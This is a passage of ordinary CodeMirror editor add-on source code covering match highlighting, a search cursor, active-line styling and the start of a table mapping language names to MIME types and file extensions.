        highlightMatches(cm)
      } else {
        cm.on("focus", onFocus)
      }
      cm.on("cursorActivity", cursorActivity);
    }
  });

  function cursorActivity(cm) {
    var state = cm.state.matchHighlighter;
    if (state.active || cm.hasFocus()) scheduleHighlight(cm, state)
  }

  function onFocus(cm) {
    var state = cm.state.matchHighlighter
    if (!state.active) {
      state.active = true
      scheduleHighlight(cm, state)
    }
  }

  function scheduleHighlight(cm, state) {
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function() {highlightMatches(cm);},
state.options.delay);
  }

  function addOverlay(cm, query, hasBoundary, style) {
    var state = cm.state.matchHighlighter;
    cm.addOverlay(state.overlay = makeOverlay(query, hasBoundary, style));
    if (state.options.annotateScrollbar &&
cm.showMatchesOnScrollbar) {
      var searchFor = hasBoundary ? new RegExp((/\w/.test(query.charAt(0))
? "\\b" : "") +
                                              
query.replace(/[\\\[.+*?(){|^$]/g, "\\$&") +
                                              
(/\w/.test(query.charAt(query.length - 1)) ? "\\b" :
"")) : query;
      state.matchesonscroll = cm.showMatchesOnScrollbar(searchFor, false,
        {className: "CodeMirror-selection-highlight-scrollbar"});
    }
  }

  function removeOverlay(cm) {
    var state = cm.state.matchHighlighter;
    if (state.overlay) {
      cm.removeOverlay(state.overlay);
      state.overlay = null;
      if (state.matchesonscroll) {
        state.matchesonscroll.clear();
        state.matchesonscroll = null;
      }
    }
  }

  function highlightMatches(cm) {
    cm.operation(function() {
      var state = cm.state.matchHighlighter;
      removeOverlay(cm);
      if (!cm.somethingSelected() && state.options.showToken) {
        var re = state.options.showToken === true ? /[\w$]/ :
state.options.showToken;
        var cur = cm.getCursor(), line = cm.getLine(cur.line), start =
cur.ch, end = start;
        while (start && re.test(line.charAt(start - 1))) --start;
        while (end < line.length && re.test(line.charAt(end)))
++end;
        if (start < end)
          addOverlay(cm, line.slice(start, end), re, state.options.style);
        return;
      }
      var from = cm.getCursor("from"), to =
cm.getCursor("to");
      if (from.line != to.line) return;
      if (state.options.wordsOnly && !isWord(cm, from, to)) return;
      var selection = cm.getRange(from, to)
      if (state.options.trim) selection = selection.replace(/^\s+|\s+$/g,
"")
      if (selection.length >= state.options.minChars)
        addOverlay(cm, selection, false, state.options.style);
    });
  }

  function isWord(cm, from, to) {
    var str = cm.getRange(from, to);
    if (str.match(/^\w+$/) !== null) {
        if (from.ch > 0) {
            var pos = {line: from.line, ch: from.ch - 1};
            var chr = cm.getRange(pos, from);
            if (chr.match(/\W/) === null) return false;
        }
        if (to.ch < cm.getLine(from.line).length) {
            var pos = {line: to.line, ch: to.ch + 1};
            var chr = cm.getRange(to, pos);
            if (chr.match(/\W/) === null) return false;
        }
        return true;
    } else return false;
  }

  function boundariesAround(stream, re) {
    return (!stream.start || !re.test(stream.string.charAt(stream.start -
1))) &&
      (stream.pos == stream.string.length ||
!re.test(stream.string.charAt(stream.pos)));
  }

  function makeOverlay(query, hasBoundary, style) {
    return {token: function(stream) {
      if (stream.match(query) &&
          (!hasBoundary || boundariesAround(stream, hasBoundary)))
        return style;
      stream.next();
      stream.skipTo(query.charAt(0)) || stream.skipToEnd();
    }};
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"
  var Pos = CodeMirror.Pos

  function regexpFlags(regexp) {
    var flags = regexp.flags
    return flags != null ? flags : (regexp.ignoreCase ? "i" :
"")
      + (regexp.global ? "g" : "")
      + (regexp.multiline ? "m" : "")
  }

  function ensureFlags(regexp, flags) {
    var current = regexpFlags(regexp), target = current
    for (var i = 0; i < flags.length; i++) if
(target.indexOf(flags.charAt(i)) == -1)
      target += flags.charAt(i)
    return current == target ? regexp : new RegExp(regexp.source, target)
  }

  function maybeMultiline(regexp) {
    return /\\s|\\n|\n|\\W|\\D|\[\^/.test(regexp.source)
  }

  function searchRegexpForward(doc, regexp, start) {
    regexp = ensureFlags(regexp, "g")
    for (var line = start.line, ch = start.ch, last = doc.lastLine(); line
<= last; line++, ch = 0) {
      regexp.lastIndex = ch
      var string = doc.getLine(line), match = regexp.exec(string)
      if (match)
        return {from: Pos(line, match.index),
                to: Pos(line, match.index + match[0].length),
                match: match}
    }
  }

  function searchRegexpForwardMultiline(doc, regexp, start) {
    if (!maybeMultiline(regexp)) return searchRegexpForward(doc, regexp,
start)

    regexp = ensureFlags(regexp, "gm")
    var string, chunk = 1
    for (var line = start.line, last = doc.lastLine(); line <= last;) {
      // This grows the search buffer in exponentially-sized chunks
      // between matches, so that nearby matches are fast and don't
      // require concatenating the whole document (in case we're
      // searching for something that has tons of matches), but at the
      // same time, the amount of retries is limited.
      for (var i = 0; i < chunk; i++) {
        if (line > last) break
        var curLine = doc.getLine(line++)
        string = string == null ? curLine : string + "\n" +
curLine
      }
      chunk = chunk * 2
      regexp.lastIndex = start.ch
      var match = regexp.exec(string)
      if (match) {
        var before = string.slice(0, match.index).split("\n"),
inside = match[0].split("\n")
        var startLine = start.line + before.length - 1, startCh =
before[before.length - 1].length
        return {from: Pos(startLine, startCh),
                to: Pos(startLine + inside.length - 1,
                        inside.length == 1 ? startCh + inside[0].length :
inside[inside.length - 1].length),
                match: match}
      }
    }
  }

  function lastMatchIn(string, regexp, endMargin) {
    var match, from = 0
    while (from <= string.length) {
      regexp.lastIndex = from
      var newMatch = regexp.exec(string)
      if (!newMatch) break
      var end = newMatch.index + newMatch[0].length
      if (end > string.length - endMargin) break
      if (!match || end > match.index + match[0].length)
        match = newMatch
      from = newMatch.index + 1
    }
    return match
  }

  function searchRegexpBackward(doc, regexp, start) {
    regexp = ensureFlags(regexp, "g")
    for (var line = start.line, ch = start.ch, first = doc.firstLine();
line >= first; line--, ch = -1) {
      var string = doc.getLine(line)
      var match = lastMatchIn(string, regexp, ch < 0 ? 0 : string.length
- ch)
      if (match)
        return {from: Pos(line, match.index),
                to: Pos(line, match.index + match[0].length),
                match: match}
    }
  }

  function searchRegexpBackwardMultiline(doc, regexp, start) {
    if (!maybeMultiline(regexp)) return searchRegexpBackward(doc, regexp,
start)
    regexp = ensureFlags(regexp, "gm")
    var string, chunkSize = 1, endMargin = doc.getLine(start.line).length -
start.ch
    for (var line = start.line, first = doc.firstLine(); line >= first;)
{
      for (var i = 0; i < chunkSize && line >= first; i++) {
        var curLine = doc.getLine(line--)
        string = string == null ? curLine : curLine + "\n" +
string
      }
      chunkSize *= 2

      var match = lastMatchIn(string, regexp, endMargin)
      if (match) {
        var before = string.slice(0, match.index).split("\n"),
inside = match[0].split("\n")
        var startLine = line + before.length, startCh =
before[before.length - 1].length
        return {from: Pos(startLine, startCh),
                to: Pos(startLine + inside.length - 1,
                        inside.length == 1 ? startCh + inside[0].length :
inside[inside.length - 1].length),
                match: match}
      }
    }
  }

  var doFold, noFold
  if (String.prototype.normalize) {
    doFold = function(str) { return
str.normalize("NFD").toLowerCase() }
    noFold = function(str) { return str.normalize("NFD") }
  } else {
    doFold = function(str) { return str.toLowerCase() }
    noFold = function(str) { return str }
  }

  // Maps a position in a case-folded line back to a position in the
original line
  // (compensating for codepoints increasing in number during folding)
  function adjustPos(orig, folded, pos, foldFunc) {
    if (orig.length == folded.length) return pos
    for (var min = 0, max = pos + Math.max(0, orig.length -
folded.length);;) {
      if (min == max) return min
      var mid = (min + max) >> 1
      var len = foldFunc(orig.slice(0, mid)).length
      if (len == pos) return mid
      else if (len > pos) max = mid
      else min = mid + 1
    }
  }

  function searchStringForward(doc, query, start, caseFold) {
    // Empty string would match anything and never progress, so we
    // define it to match nothing instead.
    if (!query.length) return null
    var fold = caseFold ? doFold : noFold
    var lines = fold(query).split(/\r|\n\r?/)

    search: for (var line = start.line, ch = start.ch, last =
doc.lastLine() + 1 - lines.length; line <= last; line++, ch = 0) {
      var orig = doc.getLine(line).slice(ch), string = fold(orig)
      if (lines.length == 1) {
        var found = string.indexOf(lines[0])
        if (found == -1) continue search
        var start = adjustPos(orig, string, found, fold) + ch
        return {from: Pos(line, adjustPos(orig, string, found, fold) + ch),
                to: Pos(line, adjustPos(orig, string, found +
lines[0].length, fold) + ch)}
      } else {
        var cutFrom = string.length - lines[0].length
        if (string.slice(cutFrom) != lines[0]) continue search
        for (var i = 1; i < lines.length - 1; i++)
          if (fold(doc.getLine(line + i)) != lines[i]) continue search
        var end = doc.getLine(line + lines.length - 1), endString =
fold(end), lastLine = lines[lines.length - 1]
        if (endString.slice(0, lastLine.length) != lastLine) continue
search
        return {from: Pos(line, adjustPos(orig, string, cutFrom, fold) +
ch),
                to: Pos(line + lines.length - 1, adjustPos(end, endString,
lastLine.length, fold))}
      }
    }
  }

  function searchStringBackward(doc, query, start, caseFold) {
    if (!query.length) return null
    var fold = caseFold ? doFold : noFold
    var lines = fold(query).split(/\r|\n\r?/)

    search: for (var line = start.line, ch = start.ch, first =
doc.firstLine() - 1 + lines.length; line >= first; line--, ch = -1) {
      var orig = doc.getLine(line)
      if (ch > -1) orig = orig.slice(0, ch)
      var string = fold(orig)
      if (lines.length == 1) {
        var found = string.lastIndexOf(lines[0])
        if (found == -1) continue search
        return {from: Pos(line, adjustPos(orig, string, found, fold)),
                to: Pos(line, adjustPos(orig, string, found +
lines[0].length, fold))}
      } else {
        var lastLine = lines[lines.length - 1]
        if (string.slice(0, lastLine.length) != lastLine) continue search
        for (var i = 1, start = line - lines.length + 1; i <
lines.length - 1; i++)
          if (fold(doc.getLine(start + i)) != lines[i]) continue search
        var top = doc.getLine(line + 1 - lines.length), topString =
fold(top)
        if (topString.slice(topString.length - lines[0].length) !=
lines[0]) continue search
        return {from: Pos(line + 1 - lines.length, adjustPos(top,
topString, top.length - lines[0].length, fold)),
                to: Pos(line, adjustPos(orig, string, lastLine.length,
fold))}
      }
    }
  }

  function SearchCursor(doc, query, pos, options) {
    this.atOccurrence = false
    this.doc = doc
    pos = pos ? doc.clipPos(pos) : Pos(0, 0)
    this.pos = {from: pos, to: pos}

    var caseFold
    if (typeof options == "object") {
      caseFold = options.caseFold
    } else { // Backwards compat for when caseFold was the 4th argument
      caseFold = options
      options = null
    }

    if (typeof query == "string") {
      if (caseFold == null) caseFold = false
      this.matches = function(reverse, pos) {
        return (reverse ? searchStringBackward : searchStringForward)(doc,
query, pos, caseFold)
      }
    } else {
      query = ensureFlags(query, "gm")
      if (!options || options.multiline !== false)
        this.matches = function(reverse, pos) {
          return (reverse ? searchRegexpBackwardMultiline :
searchRegexpForwardMultiline)(doc, query, pos)
        }
      else
        this.matches = function(reverse, pos) {
          return (reverse ? searchRegexpBackward :
searchRegexpForward)(doc, query, pos)
        }
    }
  }

  SearchCursor.prototype = {
    findNext: function() {return this.find(false)},
    findPrevious: function() {return this.find(true)},

    find: function(reverse) {
      var result = this.matches(reverse, this.doc.clipPos(reverse ?
this.pos.from : this.pos.to))

      // Implements weird auto-growing behavior on null-matches for
      // backwards-compatibility with the vim code (unfortunately)
      while (result && CodeMirror.cmpPos(result.from, result.to) ==
0) {
        if (reverse) {
          if (result.from.ch) result.from = Pos(result.from.line,
result.from.ch - 1)
          else if (result.from.line == this.doc.firstLine()) result = null
          else result = this.matches(reverse,
this.doc.clipPos(Pos(result.from.line - 1)))
        } else {
          if (result.to.ch < this.doc.getLine(result.to.line).length)
result.to = Pos(result.to.line, result.to.ch + 1)
          else if (result.to.line == this.doc.lastLine()) result = null
          else result = this.matches(reverse, Pos(result.to.line + 1, 0))
        }
      }

      if (result) {
        this.pos = result
        this.atOccurrence = true
        return this.pos.match || true
      } else {
        var end = Pos(reverse ? this.doc.firstLine() : this.doc.lastLine()
+ 1, 0)
        this.pos = {from: end, to: end}
        return this.atOccurrence = false
      }
    },

    from: function() {if (this.atOccurrence) return this.pos.from},
    to: function() {if (this.atOccurrence) return this.pos.to},

    replace: function(newText, origin) {
      if (!this.atOccurrence) return
      var lines = CodeMirror.splitLines(newText)
      this.doc.replaceRange(lines, this.pos.from, this.pos.to, origin)
      this.pos.to = Pos(this.pos.from.line + lines.length - 1,
                        lines[lines.length - 1].length + (lines.length == 1
? this.pos.from.ch : 0))
    }
  }

  CodeMirror.defineExtension("getSearchCursor", function(query,
pos, caseFold) {
    return new SearchCursor(this.doc, query, pos, caseFold)
  })
  CodeMirror.defineDocExtension("getSearchCursor",
function(query, pos, caseFold) {
    return new SearchCursor(this, query, pos, caseFold)
  })

  CodeMirror.defineExtension("selectMatches", function(query,
caseFold) {
    var ranges = []
    var cur = this.getSearchCursor(query, this.getCursor("from"),
caseFold)
    while (cur.findNext()) {
      if (CodeMirror.cmpPos(cur.to(), this.getCursor("to")) >
0) break
      ranges.push({anchor: cur.from(), head: cur.to()})
    }
    if (ranges.length)
      this.setSelections(ranges, 0)
  })
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var WRAP_CLASS = "CodeMirror-activeline";
  var BACK_CLASS = "CodeMirror-activeline-background";
  var GUTT_CLASS = "CodeMirror-activeline-gutter";

  CodeMirror.defineOption("styleActiveLine", false, function(cm,
val, old) {
    var prev = old == CodeMirror.Init ? false : old;
    if (val == prev) return
    if (prev) {
      cm.off("beforeSelectionChange", selectionChange);
      clearActiveLines(cm);
      delete cm.state.activeLines;
    }
    if (val) {
      cm.state.activeLines = [];
      updateActiveLines(cm, cm.listSelections());
      cm.on("beforeSelectionChange", selectionChange);
    }
  });

  function clearActiveLines(cm) {
    for (var i = 0; i < cm.state.activeLines.length; i++) {
      cm.removeLineClass(cm.state.activeLines[i], "wrap",
WRAP_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "background",
BACK_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "gutter",
GUTT_CLASS);
    }
  }

  function sameArray(a, b) {
    if (a.length != b.length) return false;
    for (var i = 0; i < a.length; i++)
      if (a[i] != b[i]) return false;
    return true;
  }

  function updateActiveLines(cm, ranges) {
    var active = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      var option = cm.getOption("styleActiveLine");
      if (typeof option == "object" && option.nonEmpty ?
range.anchor.line != range.head.line : !range.empty())
        continue
      var line = cm.getLineHandleVisualStart(range.head.line);
      if (active[active.length - 1] != line) active.push(line);
    }
    if (sameArray(cm.state.activeLines, active)) return;
    cm.operation(function() {
      clearActiveLines(cm);
      for (var i = 0; i < active.length; i++) {
        cm.addLineClass(active[i], "wrap", WRAP_CLASS);
        cm.addLineClass(active[i], "background", BACK_CLASS);
        cm.addLineClass(active[i], "gutter", GUTT_CLASS);
      }
      cm.state.activeLines = active;
    });
  }

  function selectionChange(cm, sel) {
    updateActiveLines(cm, sel.ranges);
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.modeInfo = [
    {name: "APL", mime: "text/apl", mode:
"apl", ext: ["dyalog", "apl"]},
    {name: "PGP", mimes: ["application/pgp",
"application/pgp-encrypted", "application/pgp-keys",
"application/pgp-signature"], mode: "asciiarmor", ext:
["asc", "pgp", "sig"]},
    {name: "ASN.1", mime: "text/x-ttcn-asn", mode:
"asn.1", ext: ["asn", "asn1"]},
    {name: "Asterisk", mime: "text/x-asterisk", mode:
"asterisk", file: /^extensions\.conf$/i},
    {name: "Brainfuck", mime: "text/x-brainfuck", mode:
"brainfuck", ext: ["b", "bf"]},
    {name: "C", mime: "text/x-csrc", mode:
"clike", ext: ["c", "h", "ino"]},
    {name: "C++", mime: "text/x-c++src", mode:
"clike", ext: ["cpp", "c++", "cc",
"cxx", "hpp", "h++", "hh",
"hxx"], alias: ["cpp"]},
    {name: "Cobol", mime: "text/x-cobol", mode:
"cobol", ext: ["cob", "cpy"]},
    {name: "C#", mime: "text/x-csharp", mode:
"clike", ext: ["cs"], alias: ["csharp",
"cs"]},
    {name: "Clojure", mime: "text/x-clojure", mode:
"clojure", ext: ["clj", "cljc",
"cljx"]},
    {name: "ClojureScript", mime:
"text/x-clojurescript", mode: "clojure", ext:
["cljs"]},
    {name: "Closure Stylesheets (GSS)", mime:
"text/x-gss", mode: "css", ext: ["gss"]},
    {name: "CMake", mime: "text/x-cmake", mode:
"cmake", ext: ["cmake", "cmake.in"], file:
/^CMakeLists.txt$/},
    {name: "CoffeeScript", mimes:
["application/vnd.coffeescript", "text/coffeescript",
"text/x-coffeescript"], mode: "coffeescript", ext:
["coffee"], alias: ["coffee",
"coffee-script"]},
    {name: "Common Lisp", mime: "text/x-common-lisp",
mode: "commonlisp", ext: ["cl", "lisp",
"el"], alias: ["lisp"]},
    {name: "Cypher", mime:
"application/x-cypher-query", mode: "cypher", ext:
["cyp", "cypher"]},
    {name: "Cython", mime: "text/x-cython", mode:
"python", ext: ["pyx", "pxd",
"pxi"]},
    {name: "Crystal", mime: "text/x-crystal", mode:
"crystal", ext: ["cr"]},
    {name: "CSS", mime: "text/css", mode:
"css", ext: ["css"]},
    {name: "CQL", mime: "text/x-cassandra", mode:
"sql", ext: ["cql"]},
    {name: "D", mime: "text/x-d", mode: "d",
ext: ["d"]},
    {name: "Dart", mimes: ["application/dart",
"text/x-dart"], mode: "dart", ext: ["dart"]},
    {name: "diff", mime: "text/x-diff", mode:
"diff", ext: ["diff", "patch"]},
    {name: "Django", mime: "text/x-django", mode:
"django"},
    {name: "Dockerfile", mime: "text/x-dockerfile",
mode: "dockerfile", file: /^Dockerfile$/},
    {name: "DTD", mime: "application/xml-dtd", mode:
"dtd", ext: ["dtd"]},
    {name: "Dylan", mime: "text/x-dylan", mode:
"dylan", ext: ["dylan", "dyl",
"intr"]},
    {name: "EBNF", mime: "text/x-ebnf", mode:
"ebnf"},
    {name: "ECL", mime: "text/x-ecl", mode:
"ecl", ext: ["ecl"]},
    {name: "edn", mime: "application/edn", mode:
"clojure", ext: ["edn"]},
    {name: "Eiffel", mime: "text/x-eiffel", mode:
"eiffel", ext: ["e"]},
    {name: "Elm", mime: "text/x-elm", mode:
"elm", ext: ["elm"]},
    {name: "Embedded Javascript", mime:
"application/x-ejs", mode: "htmlembedded", ext:
["ejs"]},
    {name: "Embedded Ruby", mime: "application/x-erb",
mode: "htmlembedded", ext: ["erb"]},
    {name: "Erlang", mime: "text/x-erlang", mode:
"erlang", ext: ["erl"]},
    {name: "Esper", mime: "text/x-esper", mode:
"sql"},
    {name: "Factor", mime: "text/x-factor", mode:
"factor", ext: ["factor"]},
    {name: "FCL", mime: "text/x-fcl", mode:
"fcl"},
    {name: "Forth", mime: "text/x-forth", mode:
"forth", ext: ["forth", "fth",
"4th"]},
    {name: "Fortran", mime: "text/x-fortran", mode:
"fortran", ext: ["f", "for", "f77",
"f90", "f95"]},
    {name: "F#", mime: "text/x-fsharp", mode:
"mllike", ext: ["fs"], alias: ["fsharp"]},
    {name: "Gas", mime: "text/x-gas", mode:
"gas", ext: ["s"]},
    {name: "Gherkin", mime: "text/x-feature", mode:
"gherkin", ext: ["feature"]},
    {name: "GitHub Flavored Markdown", mime:
"text/x-gfm", mode: "gfm", file:
/^(readme|contributing|history).md$/i},
    {name: "Go", mime: "text/x-go", mode:
"go", ext: ["go"]},
    {name: "Groovy", mime: "text/x-groovy", mode:
"groovy", ext: ["groovy", "gradle"], file:
/^Jenkinsfile$/},
    {name: "HAML", mime: "text/x-haml", mode:
"haml", ext: ["haml"]},
    {name: "Haskell", mime: "text/x-haskell", mode:
"haskell", ext: ["hs"]},
    {name: "Haskell (Literate)", mime:
"text/x-literate-haskell", mode: "haskell-literate",
ext: ["lhs"]},
    {name: "Haxe", mime: "text/x-haxe", mode:
"haxe", ext: ["hx"]},
    {name: "HXML", mime: "text/x-hxml", mode:
"haxe", ext: ["hxml"]},
    {name: "ASP.NET", mime: "application/x-aspx", mode:
"htmlembedded", ext: ["aspx"], alias: ["asp",
"aspx"]},
    {name: "HTML", mime: "text/html", mode:
"htmlmixed", ext: ["html", "htm",
"handlebars", "hbs"], alias: ["xhtml"]},
    {name: "HTTP", mime: "message/http", mode:
"http"},
    {name: "IDL", mime: "text/x-idl", mode:
"idl", ext: ["pro"]},
    {name: "Pug", mime: "text/x-pug", mode:
"pug", ext: ["jade", "pug"], alias:
["jade"]},
    {name: "Java", mime: "text/x-java", mode:
"clike", ext: ["java"]},
    {name: "Java Server Pages", mime:
"application/x-jsp", mode: "htmlembedded", ext:
["jsp"], alias: ["jsp"]},
    {name: "JavaScript", mimes: ["text/javascript",
"text/ecmascript", "application/javascript",
"application/x-javascript", "application/ecmascript"],
     mode: "javascript", ext: ["js"], alias:
["ecmascript", "js", "node"]},
    {name: "JSON", mimes: ["application/json",
"application/x-json"], mode: "javascript", ext:
["json", "map"], alias: ["json5"]},
    {name: "JSON-LD", mime: "application/ld+json",
mode: "javascript", ext: ["jsonld"], alias:
["jsonld"]},
    {name: "JSX", mime: "text/jsx", mode:
"jsx", ext: ["jsx"]},
    {name: "Jinja2", mime: "text/jinja2", mode:
"jinja2", ext: ["j2", "jinja",
"jinja2"]},
    {name: "Julia", mime: "text/x-julia", mode:
"julia", ext: ["jl"]},
    {name: "Kotlin", mime: "text/x-kotlin", mode:
"clike", ext: ["kt"]},
    {name: "LESS", mime: "text/x-less", mode:
"css", ext: ["less"]},
    {name: "LiveScript", mime: "text/x-livescript",
mode: "livescript", ext: ["ls"], alias:
["ls"]},
    {name: "Lua", mime: "text/x-lua", mode:
"lua", ext: ["lua"]},
    {name: "Markdown", mime: "text/x-markdown", mode:
"markdown", ext: ["markdown", "md",
"mkd"]},
    {name: "mIRC", mime: "text/mirc", mode:
"mirc"},
    {name: "MariaDB SQL", mime: "text/x-mariadb", mode:
"sql"},
    {name: "Mathematica", mime: "text/x-mathematica",
mode: "mathematica", ext: ["m", "nb",
"wl", "wls"]},
    {name: "Modelica", mime: "text/x-modelica", mode:
"modelica", ext: ["mo"]},
    {name: "MUMPS", mime: "text/x-mumps", mode:
"mumps", ext: ["mps"]},
    {name: "MS SQL", mime: "text/x-mssql", mode:
"sql"},
    {name: "mbox", mime: "application/mbox", mode:
"mbox", ext: ["mbox"]},
    {name: "MySQL", mime: "text/x-mysql", mode:
"sql"},
    {name: "Nginx", mime: "text/x-nginx-conf", mode:
"nginx", file: /nginx.*\.conf$/i},
    {name: "NSIS", mime: "text/x-nsis", mode:
"nsis", ext: ["nsh", "nsi"]},
    {name: "NTriples", mimes: ["application/n-triples",
"application/n-quads", "text/n-triples"],
     mode: "ntriples", ext: ["nt", "nq"]},
    {name: "Objective-C", mime: "text/x-objectivec",
mode: "clike", ext: ["m"], alias:
["objective-c", "objc"]},
    {name: "Objective-C++", mime:
"text/x-objectivec++", mode: "clike", ext:
["mm"], alias: ["objective-c++", "objc++"]},
    {name: "OCaml", mime: "text/x-ocaml", mode:
"mllike", ext: ["ml", "mli", "mll",
"mly"]},
    {name: "Octave", mime: "text/x-octave", mode:
"octave", ext: ["m"]},
    {name: "Oz", mime: "text/x-oz", mode:
"oz", ext: ["oz"]},
    {name: "Pascal", mime: "text/x-pascal", mode:
"pascal", ext: ["p", "pas"]},
    {name: "PEG.js", mime: "null", mode:
"pegjs", ext: ["jsonld"]},
    {name: "Perl", mime: "text/x-perl", mode:
"perl", ext: ["pl", "pm"]},
    {name: "PHP", mimes: ["text/x-php",
"application/x-httpd-php",
"application/x-httpd-php-open"], mode: "php", ext:
["php", "php3", "php4", "php5",
"php7", "phtml"]},
    {name: "Pig", mime: "text/x-pig", mode:
"pig", ext: ["pig"]},
    {name: "Plain Text", mime: "text/plain", mode:
"null", ext: ["txt", "text",
"conf", "def", "list", "log"]},
    {name: "PLSQL", mime: "text/x-plsql", mode:
"sql", ext: ["pls"]},
    {name: "PostgreSQL", mime: "text/x-pgsql", mode:
"sql"},
    {name: "PowerShell", mime:
"application/x-powershell", mode: "powershell", ext:
["ps1", "psd1", "psm1"]},
    {name: "Properties files", mime:
"text/x-properties", mode: "properties", ext:
["properties", "ini", "in"], alias:
["ini", "properties"]},
    {name: "ProtoBuf", mime: "text/x-protobuf", mode:
"protobuf", ext: ["proto"]},
    {name: "Python", mime: "text/x-python", mode:
"python", ext: ["BUILD", "bzl",
"py", "pyw"], file: /^(BUCK|BUILD)$/},
    {name: "Puppet", mime: "text/x-puppet", mode:
"puppet", ext: ["pp"]},
    {name: "Q", mime: "text/x-q", mode: "q",
ext: ["q"]},
    {name: "R", mime: "text/x-rsrc", mode:
"r", ext: ["r", "R"], alias:
["rscript"]},
    {name: "reStructuredText", mime: "text/x-rst",
mode: "rst", ext: ["rst"], alias: ["rst"]},
    {name: "RPM Changes", mime: "text/x-rpm-changes",
mode: "rpm"},
    {name: "RPM Spec", mime: "text/x-rpm-spec", mode:
"rpm", ext: ["spec"]},
    {name: "Ruby", mime: "text/x-ruby", mode:
"ruby", ext: ["rb"], alias: ["jruby",
"macruby", "rake", "rb", "rbx"]},
    {name: "Rust", mime: "text/x-rustsrc", mode:
"rust", ext: ["rs"]},
    {name: "SAS", mime: "text/x-sas", mode:
"sas", ext: ["sas"]},
    {name: "Sass", mime: "text/x-sass", mode:
"sass", ext: ["sass"]},
    {name: "Scala", mime: "text/x-scala", mode:
"clike", ext: ["scala"]},
    {name: "Scheme", mime: "text/x-scheme", mode:
"scheme", ext: ["scm", "ss"]},
    {name: "SCSS", mime: "text/x-scss", mode:
"css", ext: ["scss"]},
    {name: "Shell", mimes: ["text/x-sh",
"application/x-sh"], mode: "shell", ext:
["sh", "ksh", "bash"], alias:
["bash", "sh", "zsh"], file: /^PKGBUILD$/},
    {name: "Sieve", mime: "application/sieve", mode:
"sieve", ext: ["siv", "sieve"]},
    {name: "Slim", mimes: ["text/x-slim",
"application/x-slim"], mode: "slim", ext:
["slim"]},
    {name: "Smalltalk", mime: "text/x-stsrc", mode:
"smalltalk", ext: ["st"]},
    {name: "Smarty", mime: "text/x-smarty", mode:
"smarty", ext: ["tpl"]},
    {name: "Solr", mime: "text/x-solr", mode:
"solr"},
    {name: "SML", mime: "text/x-sml", mode:
"mllike", ext: ["sml", "sig",
"fun", "smackspec"]},
    {name: "Soy", mime: "text/x-soy", mode:
"soy", ext: ["soy"], alias: ["closure
template"]},
    {name: "SPARQL", mime: "application/sparql-query",
mode: "sparql", ext: ["rq", "sparql"], alias:
["sparul"]},
    {name: "Spreadsheet", mime: "text/x-spreadsheet",
mode: "spreadsheet", alias: ["excel",
"formula"]},
    {name: "SQL", mime: "text/x-sql", mode:
"sql", ext: ["sql"]},
    {name: "SQLite", mime: "text/x-sqlite", mode:
"sql"},
    {name: "Squirrel", mime: "text/x-squirrel", mode:
"clike", ext: ["nut"]},
    {name: "Stylus", mime: "text/x-styl", mode:
"stylus", ext: ["styl"]},
    {name: "Swift", mime: "text/x-swift", mode:
"swift", ext: ["swift"]},
    {name: "sTeX", mime: "text/x-stex", mode:
"stex"},
    {name: "LaTeX", mime: "text/x-latex", mode:
"stex", ext: ["text", "ltx",
"tex"], alias: ["tex"]},
    {name: "SystemVerilog", mime:
"text/x-systemverilog", mode: "verilog", ext:
["v", "sv", "svh"]},
    {name: "Tcl", mime: "text/x-tcl", mode:
"tcl", ext: ["tcl"]},
    {name: "Textile", mime: "text/x-textile", mode:
"textile", ext: ["textile"]},
    {name: "TiddlyWiki", mime: "text/x-tiddlywiki",
mode: "tiddlywiki"},
    {name: "Tiki wiki", mime: "text/tiki", mode:
"tiki"},
    {name: "TOML", mime: "text/x-toml", mode:
"toml", ext: ["toml"]},
    {name: "Tornado", mime: "text/x-tornado", mode:
"tornado"},
    {name: "troff", mime: "text/troff", mode:
"troff", ext: ["1", "2", "3",
"4", "5", "6", "7", "8",
"9"]},
    {name: "TTCN", mime: "text/x-ttcn", mode:
"ttcn", ext: ["ttcn", "ttcn3",
"ttcnpp"]},
    {name: "TTCN_CFG", mime: "text/x-ttcn-cfg", mode:
"ttcn-cfg", ext: ["cfg"]},
    {name: "Turtle", mime: "text/turtle", mode:
"turtle", ext: ["ttl"]},
    {name: "TypeScript", mime:
"application/typescript", mode: "javascript", ext:
["ts"], alias: ["ts"]},
    {name: "TypeScript-JSX", mime:
"text/typescript-jsx", mode: "jsx", ext:
["tsx"], alias: ["tsx"]},
    {name: "Twig", mime: "text/x-twig", mode:
"twig"},
    {name: "Web IDL", mime: "text/x-webidl", mode:
"webidl", ext: ["webidl"]},
    {name: "VB.NET", mime: "text/x-vb", mode:
"vb", ext: ["vb"]},
    {name: "VBScript", mime: "text/vbscript", mode:
"vbscript", ext: ["vbs"]},
    {name: "Velocity", mime: "text/velocity", mode:
"velocity", ext: ["vtl"]},
    {name: "Verilog", mime: "text/x-verilog", mode:
"verilog", ext: ["v"]},
    {name: "VHDL", mime: "text/x-vhdl", mode:
"vhdl", ext: ["vhd", "vhdl"]},
    {name: "Vue.js Component", mimes: ["script/x-vue",
"text/x-vue"], mode: "vue", ext: ["vue"]},
    {name: "XML", mimes: ["application/xml",
"text/xml"], mode: "xml", ext: ["xml",
"xsl", "xsd", "svg"], alias:
["rss", "wsdl", "xsd"]},
